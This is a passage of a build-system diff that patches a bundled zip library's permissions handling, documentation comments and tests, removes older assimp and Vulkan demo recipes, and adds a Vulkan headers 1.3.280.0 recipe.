-+#if MZ_PLATFORM == 3 || MZ_PLATFORM == 19
-+ // regular file with rw-r--r-- persmissions
-+ zip->entry.external_attr = (mz_uint32)(0100644) << 16;
-+#else
- zip->entry.external_attr = 0;
-+#endif
-
- num_alignment_padding_bytes =
- mz_zip_writer_compute_padding_needed_for_file_alignment(pzip);
-@@ -660,7 +674,7 @@ ssize_t zip_entry_noallocread(struct zip_t *zip, void *buf, size_t bufsize) {
- }
-
- if (!mz_zip_reader_extract_to_mem_no_alloc(pzip, (mz_uint)zip->entry.index,
-- buf, bufsize, 0, NULL, 0)) {
-+ buf, bufsize, 0, NULL, 0)) {
- return -1;
- }
-
-@@ -670,10 +684,7 @@ ssize_t zip_entry_noallocread(struct zip_t *zip, void *buf, size_t bufsize) {
- int zip_entry_fread(struct zip_t *zip, const char *filename) {
- mz_zip_archive *pzip = NULL;
- mz_uint idx;
--#if defined(_MSC_VER)
--#else
- mz_uint32 xattr = 0;
--#endif
- mz_zip_archive_file_stat info;
-
- if (!zip) {
-@@ -875,12 +886,19 @@ int zip_extract(const char *zipname, const char *dir,
- goto out;
- }
-
-- if ((((info.m_version_made_by >> 8) == 3) || ((info.m_version_made_by >> 8) == 19)) // if zip is produced on Unix or macOS (3 and 19 from section 4.4.2.2 of zip standard)
-- && info.m_external_attr & (0x20 << 24)) { // and has sym link attribute (0x80 is file, 0x40 is directory)
-+ if ((((info.m_version_made_by >> 8) == 3) ||
-+ ((info.m_version_made_by >> 8) ==
-+ 19)) // if zip is produced on Unix or macOS (3 and 19 from
-+ // section 4.4.2.2 of zip standard)
-+ && info.m_external_attr &
-+ (0x20 << 24)) { // and has sym link attribute (0x80 is file, 0x40
-+ // is directory)
- #if defined(_WIN32) || defined(__WIN32__) || defined(_MSC_VER) || \
- defined(__MINGW32__)
--#else
-- if (info.m_uncomp_size > MAX_PATH || !mz_zip_reader_extract_to_mem_no_alloc(&zip_archive, i, symlink_to, MAX_PATH, 0, NULL, 0)) {
-+#else
-+ if (info.m_uncomp_size > MAX_PATH ||
-+ !mz_zip_reader_extract_to_mem_no_alloc(&zip_archive, i, symlink_to,
-+ MAX_PATH, 0, NULL, 0)) {
- goto out;
- }
- symlink_to[info.m_uncomp_size] = '\0';
-diff --git a/contrib/zip/src/zip.h b/contrib/zip/src/zip.h
-index 5f39df50..a48d64d6 100644
---- a/contrib/zip/src/zip.h
-+++ b/contrib/zip/src/zip.h
-@@ -20,241 +20,240 @@ extern "C" {
- #endif
-
- #if !defined(_SSIZE_T_DEFINED) && !defined(_SSIZE_T_DEFINED_) && \
-- !defined(_SSIZE_T) && !defined(_SSIZE_T_) && !defined(__ssize_t_defined)
--#define _SSIZE_T
-+ !defined(__DEFINED_ssize_t) && !defined(__ssize_t_defined) && \
-+ !defined(_SSIZE_T) && !defined(_SSIZE_T_)
-+
- // 64-bit Windows is the only mainstream platform
- // where sizeof(long) != sizeof(void*)
- #ifdef _WIN64
--typedef long long ssize_t; /* byte count or error */
-+typedef long long ssize_t; /* byte count or error */
- #else
--typedef long ssize_t; /* byte count or error */
-+typedef long ssize_t; /* byte count or error */
- #endif
-+
-+#define _SSIZE_T_DEFINED
-+#define _SSIZE_T_DEFINED_
-+#define __DEFINED_ssize_t
-+#define __ssize_t_defined
-+#define _SSIZE_T
-+#define _SSIZE_T_
-+
- #endif
-
- #ifndef MAX_PATH
- #define MAX_PATH 32767 /* # chars in a path name including NULL */
- #endif
-
-+/**
-+ * @mainpage
-+ *
-+ * Documenation for @ref zip.
-+ */
-+
-+/**
-+ * @addtogroup zip
-+ * @{
-+ */
-+
-+/**
-+ * Default zip compression level.
-+ */
-+
- #define ZIP_DEFAULT_COMPRESSION_LEVEL 6
-
--/*
-- This data structure is used throughout the library to represent zip archive
-- - forward declaration.
--*/
-+/**
-+ * @struct zip_t
-+ *
-+ * This data structure is used throughout the library to represent zip archive -
-+ * forward declaration.
-+ */
- struct zip_t;
-
--/*
-- Opens zip archive with compression level using the given mode.
--
-- Args:
-- zipname: zip archive file name.
-- level: compression level (0-9 are the standard zlib-style levels).
-- mode: file access mode.
-- 'r': opens a file for reading/extracting (the file must exists).
-- 'w': creates an empty file for writing.
-- 'a': appends to an existing archive.
--
-- Returns:
-- The zip archive handler or NULL on error
--*/
-+/**
-+ * Opens zip archive with compression level using the given mode.
-+ *
-+ * @param zipname zip archive file name.
-+ * @param level compression level (0-9 are the standard zlib-style levels).
-+ * @param mode file access mode.
-+ * - 'r': opens a file for reading/extracting (the file must exists).
-+ * - 'w': creates an empty file for writing.
-+ * - 'a': appends to an existing archive.
-+ *
-+ * @return the zip archive handler or NULL on error
-+ */
- extern struct zip_t *zip_open(const char *zipname, int level, char mode);
-
--/*
-- Closes the zip archive, releases resources - always finalize.
--
-- Args:
-- zip: zip archive handler.
--*/
-+/**
-+ * Closes the zip archive, releases resources - always finalize.
-+ *
-+ * @param zip zip archive handler.
-+ */
- extern void zip_close(struct zip_t *zip);
-
--/*
-- Opens an entry by name in the zip archive.
-- For zip archive opened in 'w' or 'a' mode the function will append
-- a new entry. In readonly mode the function tries to locate the entry
-- in global dictionary.
--
-- Args:
-- zip: zip archive handler.
-- entryname: an entry name in local dictionary.
--
-- Returns:
-- The return code - 0 on success, negative number (< 0) on error.
--*/
-+/**
-+ * Opens an entry by name in the zip archive.
-+ *
-+ * For zip archive opened in 'w' or 'a' mode the function will append
-+ * a new entry. In readonly mode the function tries to locate the entry
-+ * in global dictionary.
-+ *
-+ * @param zip zip archive handler.
-+ * @param entryname an entry name in local dictionary.
-+ *
-+ * @return the return code - 0 on success, negative number (< 0) on error.
-+ */
- extern int zip_entry_open(struct zip_t *zip, const char *entryname);
-
--/*
-- Opens a new entry by index in the zip archive.
-- This function is only valid if zip archive was opened in 'r' (readonly) mode.
--
-- Args:
-- zip: zip archive handler.
-- index: index in local dictionary.
--
-- Returns:
-- The return code - 0 on success, negative number (< 0) on error.
--*/
-+/**
-+ * Opens a new entry by index in the zip archive.
-+ *
-+ * This function is only valid if zip archive was opened in 'r' (readonly) mode.
-+ *
-+ * @param zip zip archive handler.
-+ * @param index index in local dictionary.
-+ *
-+ * @return the return code - 0 on success, negative number (< 0) on error.
-+ */
- extern int zip_entry_openbyindex(struct zip_t *zip, int index);
-
--/*
-- Closes a zip entry, flushes buffer and releases resources.
--
-- Args:
-- zip: zip archive handler.
--
-- Returns:
-- The return code - 0 on success, negative number (< 0) on error.
--*/
-+/**
-+ * Closes a zip entry, flushes buffer and releases resources.
-+ *
-+ * @param zip zip archive handler.
-+ *
-+ * @return the return code - 0 on success, negative number (< 0) on error.
-+ */
- extern int zip_entry_close(struct zip_t *zip);
-
--/*
-- Returns a local name of the current zip entry.
-- The main difference between user's entry name and local entry name
-- is optional relative path.
-- Following .ZIP File Format Specification - the path stored MUST not contain
-- a drive or device letter, or a leading slash.
-- All slashes MUST be forward slashes '/' as opposed to backwards slashes '\'
-- for compatibility with Amiga and UNIX file systems etc.
--
-- Args:
-- zip: zip archive handler.
--
-- Returns:
-- The pointer to the current zip entry name, or NULL on error.
--*/
-+/**
-+ * Returns a local name of the current zip entry.
-+ *
-+ * The main difference between user's entry name and local entry name
-+ * is optional relative path.
-+ * Following .ZIP File Format Specification - the path stored MUST not contain
-+ * a drive or device letter, or a leading slash.
-+ * All slashes MUST be forward slashes '/' as opposed to backwards slashes '\'
-+ * for compatibility with Amiga and UNIX file systems etc.
-+ *
-+ * @param zip: zip archive handler.
-+ *
-+ * @return the pointer to the current zip entry name, or NULL on error.
-+ */
- extern const char *zip_entry_name(struct zip_t *zip);
-
--/*
-- Returns an index of the current zip entry.
--
-- Args:
-- zip: zip archive handler.
--
-- Returns:
-- The index on success, negative number (< 0) on error.
--*/
-+/**
-+ * Returns an index of the current zip entry.
-+ *
-+ * @param zip zip archive handler.
-+ *
-+ * @return the index on success, negative number (< 0) on error.
-+ */
- extern int zip_entry_index(struct zip_t *zip);
-
--/*
-- Determines if the current zip entry is a directory entry.
--
-- Args:
-- zip: zip archive handler.
--
-- Returns:
-- The return code - 1 (true), 0 (false), negative number (< 0) on error.
--*/
-+/**
-+ * Determines if the current zip entry is a directory entry.
-+ *
-+ * @param zip zip archive handler.
-+ *
-+ * @return the return code - 1 (true), 0 (false), negative number (< 0) on
-+ * error.
-+ */
- extern int zip_entry_isdir(struct zip_t *zip);
-
--/*
-- Returns an uncompressed size of the current zip entry.
--
-- Args:
-- zip: zip archive handler.
--
-- Returns:
-- The uncompressed size in bytes.
--*/
-+/**
-+ * Returns an uncompressed size of the current zip entry.
-+ *
-+ * @param zip zip archive handler.
-+ *
-+ * @return the uncompressed size in bytes.
-+ */
- extern unsigned long long zip_entry_size(struct zip_t *zip);
-
--/*
-- Returns CRC-32 checksum of the current zip entry.
--
-- Args:
-- zip: zip archive handler.
--
-- Returns:
-- The CRC-32 checksum.
--*/
-+/**
-+ * Returns CRC-32 checksum of the current zip entry.
-+ *
-+ * @param zip zip archive handler.
-+ *
-+ * @return the CRC-32 checksum.
-+ */
- extern unsigned int zip_entry_crc32(struct zip_t *zip);
-
--/*
-- Compresses an input buffer for the current zip entry.
--
-- Args:
-- zip: zip archive handler.
-- buf: input buffer.
-- bufsize: input buffer size (in bytes).
--
-- Returns:
-- The return code - 0 on success, negative number (< 0) on error.
--*/
-+/**
-+ * Compresses an input buffer for the current zip entry.
-+ *
-+ * @param zip zip archive handler.
-+ * @param buf input buffer.
-+ * @param bufsize input buffer size (in bytes).
-+ *
-+ * @return the return code - 0 on success, negative number (< 0) on error.
-+ */
- extern int zip_entry_write(struct zip_t *zip, const void *buf, size_t bufsize);
-
--/*
-- Compresses a file for the current zip entry.
--
-- Args:
-- zip: zip archive handler.
-- filename: input file.
--
-- Returns:
-- The return code - 0 on success, negative number (< 0) on error.
--*/
-+/**
-+ * Compresses a file for the current zip entry.
-+ *
-+ * @param zip zip archive handler.
-+ * @param filename input file.
-+ *
-+ * @return the return code - 0 on success, negative number (< 0) on error.
-+ */
- extern int zip_entry_fwrite(struct zip_t *zip, const char *filename);
-
--/*
-- Extracts the current zip entry into output buffer.
-- The function allocates sufficient memory for a output buffer.
--
-- Args:
-- zip: zip archive handler.
-- buf: output buffer.
-- bufsize: output buffer size (in bytes).
--
-- Note:
-- - remember to release memory allocated for a output buffer.
-- - for large entries, please take a look at zip_entry_extract function.
--
-- Returns:
-- The return code - the number of bytes actually read on success.
-- Otherwise a -1 on error.
--*/
-+/**
-+ * Extracts the current zip entry into output buffer.
-+ *
-+ * The function allocates sufficient memory for a output buffer.
-+ *
-+ * @param zip zip archive handler.
-+ * @param buf output buffer.
-+ * @param bufsize output buffer size (in bytes).
-+ *
-+ * @note remember to release memory allocated for a output buffer.
-+ * for large entries, please take a look at zip_entry_extract function.
-+ *
-+ * @return the return code - the number of bytes actually read on success.
-+ * Otherwise a -1 on error.
-+ */
- extern ssize_t zip_entry_read(struct zip_t *zip, void **buf, size_t *bufsize);
-
--/*
-- Extracts the current zip entry into a memory buffer using no memory
-- allocation.
--
-- Args:
-- zip: zip archive handler.
-- buf: preallocated output buffer.
-- bufsize: output buffer size (in bytes).
--
-- Note:
-- - ensure supplied output buffer is large enough.
-- - zip_entry_size function (returns uncompressed size for the current entry)
-- can be handy to estimate how big buffer is needed.
-- - for large entries, please take a look at zip_entry_extract function.
--
-- Returns:
-- The return code - the number of bytes actually read on success.
-- Otherwise a -1 on error (e.g. bufsize is not large enough).
--*/
--extern ssize_t zip_entry_noallocread(struct zip_t *zip, void *buf, size_t bufsize);
--
--/*
-- Extracts the current zip entry into output file.
--
-- Args:
-- zip: zip archive handler.
-- filename: output file.
--
-- Returns:
-- The return code - 0 on success, negative number (< 0) on error.
--*/
-+/**
-+ * Extracts the current zip entry into a memory buffer using no memory
-+ * allocation.
-+ *
-+ * @param zip zip archive handler.
-+ * @param buf preallocated output buffer.
-+ * @param bufsize output buffer size (in bytes).
-+ *
-+ * @note ensure supplied output buffer is large enough.
-+ * zip_entry_size function (returns uncompressed size for the current
-+ * entry) can be handy to estimate how big buffer is needed. for large
-+ * entries, please take a look at zip_entry_extract function.
-+ *
-+ * @return the return code - the number of bytes actually read on success.
-+ * Otherwise a -1 on error (e.g. bufsize is not large enough).
-+ */
-+extern ssize_t zip_entry_noallocread(struct zip_t *zip, void *buf,
-+ size_t bufsize);
-+
-+/**
-+ * Extracts the current zip entry into output file.
-+ *
-+ * @param zip zip archive handler.
-+ * @param filename output file.
-+ *
-+ * @return the return code - 0 on success, negative number (< 0) on error.
-+ */
- extern int zip_entry_fread(struct zip_t *zip, const char *filename);
-
--/*
-- Extracts the current zip entry using a callback function (on_extract).
--
-- Args:
-- zip: zip archive handler.
-- on_extract: callback function.
-- arg: opaque pointer (optional argument,
-- which you can pass to the on_extract callback)
--
-- Returns:
-- The return code - 0 on success, negative number (< 0) on error.
-+/**
-+ * Extracts the current zip entry using a callback function (on_extract).
-+ *
-+ * @param zip zip archive handler.
-+ * @param on_extract callback function.
-+ * @param arg opaque pointer (optional argument, which you can pass to the
-+ * on_extract callback)
-+ *
-+ * @return the return code - 0 on success, negative number (< 0) on error.
- */
- extern int
- zip_entry_extract(struct zip_t *zip,
-@@ -262,53 +261,49 @@ zip_entry_extract(struct zip_t *zip,
- const void *data, size_t size),
- void *arg);
-
--/*
-- Returns the number of all entries (files and directories) in the zip archive.
--
-- Args:
-- zip: zip archive handler.
--
-- Returns:
-- The return code - the number of entries on success,
-- negative number (< 0) on error.
--*/
-+/**
-+ * Returns the number of all entries (files and directories) in the zip archive.
-+ *
-+ * @param zip zip archive handler.
-+ *
-+ * @return the return code - the number of entries on success, negative number
-+ * (< 0) on error.
-+ */
- extern int zip_total_entries(struct zip_t *zip);
-
--/*
-- Creates a new archive and puts files into a single zip archive.
--
-- Args:
-- zipname: zip archive file.
-- filenames: input files.
-- len: number of input files.
--
-- Returns:
-- The return code - 0 on success, negative number (< 0) on error.
--*/
-+/**
-+ * Creates a new archive and puts files into a single zip archive.
-+ *
-+ * @param zipname zip archive file.
-+ * @param filenames input files.
-+ * @param len: number of input files.
-+ *
-+ * @return the return code - 0 on success, negative number (< 0) on error.
-+ */
- extern int zip_create(const char *zipname, const char *filenames[], size_t len);
-
--/*
-- Extracts a zip archive file into directory.
--
-- If on_extract_entry is not NULL, the callback will be called after
-- successfully extracted each zip entry.
-- Returning a negative value from the callback will cause abort and return an
-- error. The last argument (void *arg) is optional, which you can use to pass
-- data to the on_extract_entry callback.
--
-- Args:
-- zipname: zip archive file.
-- dir: output directory.
-- on_extract_entry: on extract callback.
-- arg: opaque pointer.
--
-- Returns:
-- The return code - 0 on success, negative number (< 0) on error.
--*/
-+/**
-+ * Extracts a zip archive file into directory.
-+ *
-+ * If on_extract_entry is not NULL, the callback will be called after
-+ * successfully extracted each zip entry.
-+ * Returning a negative value from the callback will cause abort and return an
-+ * error. The last argument (void *arg) is optional, which you can use to pass
-+ * data to the on_extract_entry callback.
-+ *
-+ * @param zipname zip archive file.
-+ * @param dir output directory.
-+ * @param on_extract_entry on extract callback.
-+ * @param arg opaque pointer.
-+ *
-+ * @return the return code - 0 on success, negative number (< 0) on error.
-+ */
- extern int zip_extract(const char *zipname, const char *dir,
- int (*on_extract_entry)(const char *filename, void *arg),
- void *arg);
-
-+/** @} */
-+
- #ifdef __cplusplus
- }
- #endif
-diff --git a/contrib/zip/test/CMakeLists.txt b/contrib/zip/test/CMakeLists.txt
-index 9b2a8db1..cc060b00 100644
---- a/contrib/zip/test/CMakeLists.txt
-+++ b/contrib/zip/test/CMakeLists.txt
-@@ -1,19 +1,16 @@
- cmake_minimum_required(VERSION 2.8)
-
--if ("${CMAKE_C_COMPILER_ID}" STREQUAL "GNU" OR "${CMAKE_C_COMPILER_ID}" STREQUAL "Clang" OR "${CMAKE_C_COMPILER_ID}" STREQUAL "AppleClang")
-- if(ENABLE_COVERAGE)
-- set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -g ")
-- set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -O0")
-- set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -fprofile-arcs")
-- set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -ftest-coverage")
-- set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} --coverage")
-- endif()
--endif ()
--
- # test
--include_directories(../src)
--add_executable(test.exe test.c ../src/zip.c)
--add_executable(test_miniz.exe test_miniz.c)
-+set(test_out test.out)
-+set(test_miniz_out test_miniz.out)
-+
-+add_executable(${test_out} test.c)
-+target_link_libraries(${test_out} zip)
-+add_executable(${test_miniz_out} test_miniz.c)
-+target_link_libraries(${test_miniz_out} zip)
-+
-+add_test(NAME ${test_out} COMMAND ${test_out})
-+add_test(NAME ${test_miniz_out} COMMAND ${test_miniz_out})
-
--add_test(NAME test COMMAND test.exe)
--add_test(NAME test_miniz COMMAND test_miniz.exe)
-+set(test_out ${test_out} PARENT_SCOPE)
-+set(test_miniz_out ${test_miniz_out} PARENT_SCOPE)
-diff --git a/contrib/zip/test/test.c b/contrib/zip/test/test.c
-index 45443053..a9b2ddab 100644
---- a/contrib/zip/test/test.c
-+++ b/contrib/zip/test/test.c
-@@ -29,6 +29,8 @@
- #define XFILE "7.txt\0"
- #define XMODE 0100777
-
-+#define UNIXMODE 0100644
-+
- #define UNUSED(x) (void)x
-
- static int total_entries = 0;
-@@ -102,7 +104,8 @@ static void test_read(void) {
- assert(0 == zip_entry_close(zip));
- free(buf);
- buf = NULL;
--
-+ bufsize = 0;
-+
- assert(0 == zip_entry_open(zip, "test/test-2.txt"));
- assert(strlen(TESTDATA2) == zip_entry_size(zip));
- assert(CRC32DATA2 == zip_entry_crc32(zip));
-@@ -131,7 +134,8 @@ static void test_read(void) {
- assert(0 == zip_entry_close(zip));
- free(buf);
- buf = NULL;
--
-+ bufsize = 0;
-+
- buftmp = strlen(TESTDATA1);
- buf = calloc(buftmp, sizeof(char));
- assert(0 == zip_entry_open(zip, "test/test-1.txt"));
-@@ -433,6 +437,35 @@ static void test_mtime(void) {
- remove(ZIPNAME);
- }
-
-+static void test_unix_permissions(void) {
-+#if defined(_WIN64) || defined(_WIN32) || defined(__WIN32__)
-+#else
-+ // UNIX or APPLE
-+ struct MZ_FILE_STAT_STRUCT file_stats;
-+
-+ remove(ZIPNAME);
-+
-+ struct zip_t *zip = zip_open(ZIPNAME, ZIP_DEFAULT_COMPRESSION_LEVEL, 'w');
-+ assert(zip != NULL);
-+
-+ assert(0 == zip_entry_open(zip, RFILE));
-+ assert(0 == zip_entry_write(zip, TESTDATA1, strlen(TESTDATA1)));
-+ assert(0 == zip_entry_close(zip));
-+
-+ zip_close(zip);
-+
-+ remove(RFILE);
-+
-+ assert(0 == zip_extract(ZIPNAME, ".", NULL, NULL));
-+
-+ assert(0 == MZ_FILE_STAT(RFILE, &file_stats));
-+ assert(UNIXMODE == file_stats.st_mode);
-+
-+ remove(RFILE);
-+ remove(ZIPNAME);
-+#endif
-+}
-+
- int main(int argc, char *argv[]) {
- UNUSED(argc);
- UNUSED(argv);
-@@ -453,6 +486,7 @@ int main(int argc, char *argv[]) {
- test_write_permissions();
- test_exe_permissions();
- test_mtime();
-+ test_unix_permissions();
-
- remove(ZIPNAME);
- return 0;
-diff --git a/contrib/zip/test/test_miniz.c b/contrib/zip/test/test_miniz.c
-index ebc0564d..babcaecd 100644
---- a/contrib/zip/test/test_miniz.c
-+++ b/contrib/zip/test/test_miniz.c
-@@ -23,16 +23,39 @@ int main(int argc, char *argv[]) {
- uint step = 0;
- int cmp_status;
- uLong src_len = (uLong)strlen(s_pStr);
-- uLong cmp_len = compressBound(src_len);
- uLong uncomp_len = src_len;
-+ uLong cmp_len;
- uint8 *pCmp, *pUncomp;
-+ size_t sz;
- uint total_succeeded = 0;
- (void)argc, (void)argv;
-
- printf("miniz.c version: %s\n", MZ_VERSION);
-
- do {
-+ pCmp = (uint8 *)tdefl_compress_mem_to_heap(s_pStr, src_len, &cmp_len, 0);
-+ if (!pCmp) {
-+ printf("tdefl_compress_mem_to_heap failed\n");
-+ return EXIT_FAILURE;
-+ }
-+ if (src_len <= cmp_len) {
-+ printf("tdefl_compress_mem_to_heap failed: from %u to %u bytes\n",
-+ (mz_uint32)uncomp_len, (mz_uint32)cmp_len);
-+ free(pCmp);
-+ return EXIT_FAILURE;
-+ }
-+
-+ sz = tdefl_compress_mem_to_mem(pCmp, cmp_len, s_pStr, src_len, 0);
-+ if (sz != cmp_len) {
-+ printf("tdefl_compress_mem_to_mem failed: expected %u, got %u\n",
-+ (mz_uint32)cmp_len, (mz_uint32)sz);
-+ free(pCmp);
-+ return EXIT_FAILURE;
-+ }
-+
- // Allocate buffers to hold compressed and uncompressed data.
-+ free(pCmp);
-+ cmp_len = compressBound(src_len);
- pCmp = (mz_uint8 *)malloc((size_t)cmp_len);
- pUncomp = (mz_uint8 *)malloc((size_t)src_len);
- if ((!pCmp) || (!pUncomp)) {
diff --git a/meta/recipes-graphics/vulkan/assimp_5.0.1.bb b/meta/recipes-graphics/vulkan/assimp_5.0.1.bb
deleted file mode 100644
index 5a8c62e64d..0000000000
--- a/meta/recipes-graphics/vulkan/assimp_5.0.1.bb
+++ /dev/null
@@ -1,23 +0,0 @@
-DESCRIPTION = "Open Asset Import Library is a portable Open Source library to import \
- various well-known 3D model formats in a uniform manner."
-HOMEPAGE = "http://www.assimp.org/"
-SECTION = "devel"
-
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=2119edef0916b0bd511cb3c731076271"
-
-DEPENDS = "zlib"
-
-SRC_URI = "git://github.com/assimp/assimp.git;branch=assimp_5.0_release \
- file://0001-closes-https-github.com-assimp-assimp-issues-2733-up.patch \
- file://0001-Use-ASSIMP_LIB_INSTALL_DIR-to-search-library.patch \
- "
-UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>(\d+(\.\d+)+))"
-
-SRCREV = "8f0c6b04b2257a520aaab38421b2e090204b69df"
-
-S = "${WORKDIR}/git"
-
-inherit cmake
-
-EXTRA_OECMAKE = "-DASSIMP_BUILD_ASSIMP_TOOLS=OFF -DASSIMP_BUILD_TESTS=OFF -DASSIMP_LIB_INSTALL_DIR=${baselib}"
diff --git a/meta/recipes-graphics/vulkan/vulkan-demos/0001-Don-t-build-demos-with-questionably-licensed-data.patch b/meta/recipes-graphics/vulkan/vulkan-demos/0001-Don-t-build-demos-with-questionably-licensed-data.patch
deleted file mode 100644
index 153e662733..0000000000
--- a/meta/recipes-graphics/vulkan/vulkan-demos/0001-Don-t-build-demos-with-questionably-licensed-data.patch
+++ /dev/null
@@ -1,98 +0,0 @@
-From 663d51cd31fd98411e25f37aaf52b591d9639bf5 Mon Sep 17 00:00:00 2001
-From: "Maxin B. John" <maxin.john@intel.com>
-Date: Mon, 30 Jul 2018 17:23:29 +0300
-Subject: [PATCH] Don't build demos with questionably licensed data
-
-Some of the models don't have open source compatible licenses:
-don't build demos using those. Also don't build demos that need
-resources that are not included.
-
-ssao:
-scenerendering:
- Sibenik model, no license found
-
-deferred:
-deferredmultisampling:
-deferredshadows:
- armor model, CC-BY-3.0
-
-vulkanscene:
-imgui:
-shadowmapping:
- vulkanscene model, no license found
-
-indirectdraw:
- plant model, no license found
-
-hdr:
-pbribl:
-pbrtexture:
- Require external Vulkan Asset Pack
-
-Upstream-Status: Inappropriate [configuration]
-
-Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
-Signed-off-by: Maxin B. John <maxin.john@intel.com>
----
- examples/CMakeLists.txt | 14 --------------
- 1 file changed, 14 deletions(-)
-
-diff --git a/examples/CMakeLists.txt b/examples/CMakeLists.txt
-index a53c834..71a12e7 100644
---- a/examples/CMakeLists.txt
-+++ b/examples/CMakeLists.txt
-@@ -55,9 +55,6 @@ set(EXAMPLES
- conditionalrender
- conservativeraster
- debugmarker
-- deferred
-- deferredmultisampling
-- deferredshadows
- descriptorsets
- displacement
- distancefieldfonts
-@@ -65,9 +62,6 @@ set(EXAMPLES
- gears
- geometryshader
- gltfscene
-- hdr
-- imgui
-- indirectdraw
- inlineuniformblocks
- inputattachments
- instancing
-@@ -83,23 +77,16 @@ set(EXAMPLES
- parallaxmapping
- particlefire
- pbrbasic
-- pbribl
-- pbrtexture
- pipelines
- pipelinestatistics
- pushconstants
- pushdescriptors
- radialblur
- renderheadless
-- scenerendering
- screenshot
-- shadowmapping
-- shadowmappingomni
-- shadowmappingcascade
- skeletalanimation
- specializationconstants
- sphericalenvmapping
-- ssao
- stencilbuffer
- subpasses
- terraintessellation
-@@ -113,7 +100,6 @@ set(EXAMPLES
- texturesparseresidency
- triangle
- viewportarray
-- vulkanscene
- )
-
- buildExamples()
---
-2.17.1
-
diff --git a/meta/recipes-graphics/vulkan/vulkan-demos_git.bb b/meta/recipes-graphics/vulkan/vulkan-demos_git.bb
deleted file mode 100644
index 9484f010c0..0000000000
--- a/meta/recipes-graphics/vulkan/vulkan-demos_git.bb
+++ /dev/null
@@ -1,44 +0,0 @@
-DESCRIPTION = "Collection of Vulkan examples"
-LICENSE = "MIT"
-DEPENDS = "zlib"
-
-LIC_FILES_CHKSUM = "file://LICENSE.md;md5=dcf473723faabf17baa9b5f2207599d0 \
- file://examples/triangle/triangle.cpp;endline=12;md5=bccd1bf9cadd9e10086cf7872157e4fa"
-
-SRCREV_glm = "1ad55c5016339b83b7eec98c31007e0aee57d2bf"
-SRCREV_ktx = "726d14d02c95bb21ec9e43807751b491d295dd3c"
-
-SRC_URI = "git://github.com/SaschaWillems/Vulkan.git \
- git://github.com/g-truc/glm;destsuffix=git/external/glm;name=glm \
- git://github.com/KhronosGroup/KTX-Software;destsuffix=git/external/ktx;name=ktx;lfs=0 \
- file://0001-Don-t-build-demos-with-questionably-licensed-data.patch \
- "
-UPSTREAM_CHECK_COMMITS = "1"
-SRCREV = "4818f85916bf88c1ca8c2ed1a46e0e758651489e"
-UPSTREAM_CHECK_GITTAGREGEX = "These are not the releases you're looking for"
-S = "${WORKDIR}/git"
-
-REQUIRED_DISTRO_FEATURES = 'vulkan'
-
-inherit cmake features_check
-DEPENDS = "vulkan-loader assimp wayland-protocols wayland-native"
-
-do_install_append () {
- # Remove assets that have uncertain licenses
- rm ${D}${datadir}/vulkan-demos/models/armor/* \
- ${D}${datadir}/vulkan-demos/models/sibenik/* \
- ${D}${datadir}/vulkan-demos/models/vulkanscene* \
- ${D}${datadir}/vulkan-demos/models/plants.dae \
- ${D}${datadir}/vulkan-demos/textures/texturearray_plants*
-
- mv ${D}${bindir}/screenshot ${D}${bindir}/vulkan-screenshot
-}
-
-EXTRA_OECMAKE = "-DRESOURCE_INSTALL_DIR=${datadir}/vulkan-demos"
-
-ANY_OF_DISTRO_FEATURES = "x11 wayland"
-
-# Can only pick one of [wayland,xcb]
-PACKAGECONFIG = "${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'wayland', 'xcb' ,d)}"
-PACKAGECONFIG[wayland] = "-DUSE_WAYLAND_WSI=ON, -DUSE_WAYLAND_WSI=OFF, wayland"
-PACKAGECONFIG[xcb] = ",,libxcb"
diff --git a/meta/recipes-graphics/vulkan/vulkan-headers_1.2.135.0.bb b/meta/recipes-graphics/vulkan/vulkan-headers_1.2.135.0.bb
deleted file mode 100644
index d21c3d62b9..0000000000
--- a/meta/recipes-graphics/vulkan/vulkan-headers_1.2.135.0.bb
+++ /dev/null
@@ -1,19 +0,0 @@
-SUMMARY = "Vulkan Header files and API registry"
-HOMEPAGE = "https://www.khronos.org/vulkan/"
-BUGTRACKER = "https://github.com/KhronosGroup/Vulkan-Headers"
-SECTION = "libs"
-
-LICENSE = "Apache-2.0"
-LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=3b83ef96387f14655fc854ddc3c6bd57"
-# was sdk-1.2.135 branch but it was removed upstream, commit is in master branch though
-SRC_URI = "git://github.com/KhronosGroup/Vulkan-Headers.git;branch=master"
-
-SRCREV = "fb7f9c9bcd1d1544ea203a1f3d4253d0e90c5a90"
-
-S = "${WORKDIR}/git"
-
-inherit cmake
-
-FILES_${PN} += "${datadir}/vulkan"
-
-UPSTREAM_CHECK_GITTAGREGEX = "sdk-(?P<pver>\d+(\.\d+)+)"
diff --git a/meta/recipes-graphics/vulkan/vulkan-headers_1.3.280.0.bb b/meta/recipes-graphics/vulkan/vulkan-headers_1.3.280.0.bb
new file mode 100644
index 0000000000..371cc7304d
--- /dev/null
+++ b/meta/recipes-graphics/vulkan/vulkan-headers_1.3.280.0.bb
@@ -0,0 +1,28 @@
+SUMMARY = "Vulkan Header files and API registry"
+DESCRIPTION = "Vulkan is a 3D graphics and compute API providing cross-platform access \
+to modern GPUs with low overhead and targeting realtime graphics applications such as \
+games and interactive media. This package contains the development headers \
+for packages wanting to make use of Vulkan."
+HOMEPAGE = "https://www.khronos.org/vulkan/"
+BUGTRACKER = "https://github.com/KhronosGroup/Vulkan-Headers"
+SECTION = "libs"
+
+LICENSE = "Apache-2.0 & MIT"
+LIC_FILES_CHKSUM = "file://LICENSE.md;md5=1bc355d8c4196f774c8b87ed1a8dd625"
+SRC_URI = "git://github.com/KhronosGroup/Vulkan-Headers.git;branch=main;protocol=https"
+
+SRCREV = "577baa05033cf1d9236b3d078ca4b3269ed87a2b"
+
+S = "${WORKDIR}/git"
+
+inherit cmake
+
+FILES:${PN} += "${datadir}/vulkan"
+RDEPENDS:${PN} += "python3-core"
+
+# These recipes need to be updated in lockstep with each other:
+# glslang, vulkan-headers, vulkan-loader, vulkan-tools, spirv-headers, spirv-tools,
+# vulkan-validation-layers, vulkan-utility-libraries.
+# The tags versions should always be sdk-x.y.z, as this is what
+# upstream considers a release.
